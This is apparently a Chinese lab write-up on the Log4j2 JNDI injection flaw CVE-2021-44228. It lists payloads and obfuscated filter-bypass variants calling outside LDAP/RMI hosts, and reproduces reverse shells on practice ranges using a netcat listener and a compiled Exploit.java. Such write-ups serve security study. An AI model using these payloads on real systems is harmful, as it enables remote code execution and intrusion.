一、漏洞描述 #
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。12月9号进行了漏洞预警,然后整个安全圈就过年了。
Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。如:Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。
漏洞编号:CVE-2021-44228
影响范围:Apache Log4j 2.x < 2.15.0-rc2
payload
${jndi:ldap://dnslog.cn}
bypass
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
二、漏洞复现 #
1. bugku靶场 #
地址:
访问地址,可见一个登陆框
这里使用dnslog进行探测,dnslog平台 ——>
在用户名字段插入poc,密码字段因为数据加密了所以不行
${jndi:ldap://e4953331.dns.1433.eu.org.}
dns平台接收如下,说明漏洞存在
再输入一个bypass payload,dns平台都能接收
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://e4953331.dns.1433.eu.org./poc}
反弹shell #
工具:
1. 开启LDAP
2. base64编码反弹shell命令
3. 将编码后的命令插入如下
即
4. 开启监听
nc -lvnp 6666
5. 发送payload
如下 成功反弹shell
2. 掌控安全 #
靶场地址:
1. 漏洞检测
存在
反弹shell #
此靶场用上面一种反弹shell的方法并不能成功
1. 编辑Exploit.java文件
反弹shell端口为6666
编译java文件
javac Exploit.java
生成如下两个文件,上传至vps
2. 开启web服务
3. 开启LDAP服务
工具——>
此时监听端口1389
4. 触发payload
三、Burp扫描插件 #
1.
如果存在漏洞